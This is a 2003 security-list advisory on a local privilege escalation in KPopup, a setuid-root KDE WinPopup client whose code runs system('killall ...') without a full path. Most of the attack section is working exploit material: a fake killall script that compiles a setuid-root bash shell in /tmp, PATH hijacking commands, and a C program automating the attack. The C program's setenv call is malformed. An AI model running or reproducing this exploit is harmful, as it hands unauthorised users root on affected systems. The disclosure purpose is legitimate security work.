[UNIX] KPopup Allows Gaining of Elevated Privileges (Insecure system())

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To: list@securiteam.com
Date: 29 Oct 2003 15:31:04 +0200

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  KPopup Allows Gaining of Elevated Privileges (Insecure system())
------------------------------------------------------------------------

SUMMARY

 <http://www.henschelsoft.de/kpopup_en.html> KPopup is "a KDE program for
sending and receiving MS Windows WinPopup messages. When package is
compiled and install the binary KPopup is installed setuid root it also
comes as part of FreeBSD ports collection". A vulnerability in the KPopup
allows local users to gain elevated privileges.

DETAILS

This application uses the system() call that is considered to be unsafe,
especially on a setuid root binaries. It also contains Format string bugs
in the sprintf() function. However, in this advisory b0f will explain how
to obtain root privileges from this application by exploiting system().
There is 3 places on the misc.cpp source that use system(). The one we use
to exploit this is on line 106.

void sendSignalForNewMessage() {
 char command[50];
 sprintf(command, "killall -USR1 kpopup");

 system(command);
}

To exploit this we need to do is make a shell script and call it killall,
and place it in the /tmp directory. Here is a script that b0f wrote to
exploit the vulnerability:
#!/bin/sh
cd /tmp
/bin/cat > shell.c << EOF
#include <stdio.h>
int main()
{
setuid(0);
setgid(0);
execl("/bin/bash", "-bash", NULL);
return 0;
}
EOF

/usr/bin/gcc /tmp/shell.c -o /tmp/shell
/bin/chown root.root shell
/bin/chmod 6711 shell
echo "NOW HERE IS YOUR ROOT SHELL"
/tmp/shell

After you have created the file, place it in /tmp as killall and chmod +x
it. Now what we need to do is:
export PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin
export
PATH=$PATH:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:

Once this is done, all we need to do is run the binary like so:
/usr/local/kde/bin/kpopup root shell

In addition, that is it we now have root privileges.

Exploit:
/*Local root exploit for kpopup
 *by b0f www.b0f.net
 */
#include <stdio.h>
int main()
{
setenv("PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:\
/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:");
FILE *fd;
fd = fopen("/tmp/killall", "w");{
fprintf(fd, "#!/bin/sh\n");
fprintf(fd, "cd /tmp\n");
fprintf(fd, "/bin/cat > shell.c << EOF\n");
fprintf(fd, "#include <stdio.h>\n");
fprintf(fd, "int main()\n");
fprintf(fd, "{\n");
fprintf(fd, "setuid(0);\n");
fprintf(fd, "setgid(0);\n");
fprintf(fd, "execl(\"/bin/bash\", \"-bash\", NULL);\n");
fprintf(fd, "return 0;\n");
fprintf(fd, "}\n");
fprintf(fd, "EOF\n");
fprintf(fd, "/usr/bin/gcc /tmp/shell.c -o /tmp/shell\n");
fprintf(fd, "/bin/chown root.root /tmp/shell\n");
fprintf(fd, "/bin/chmod 6711 /tmp/shell\n");
fprintf(fd, "echo NOW HERE IS YOUR ROOT SHELL\n");
fprintf(fd, "/tmp/shell\n");
fclose(fd);
system("chmod +x /tmp/killall");
system("/usr/local/kde/bin/kpopup root shell");
return 0;
}
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:b0fnet@yahoo.com> b0f
www.b0f.net.

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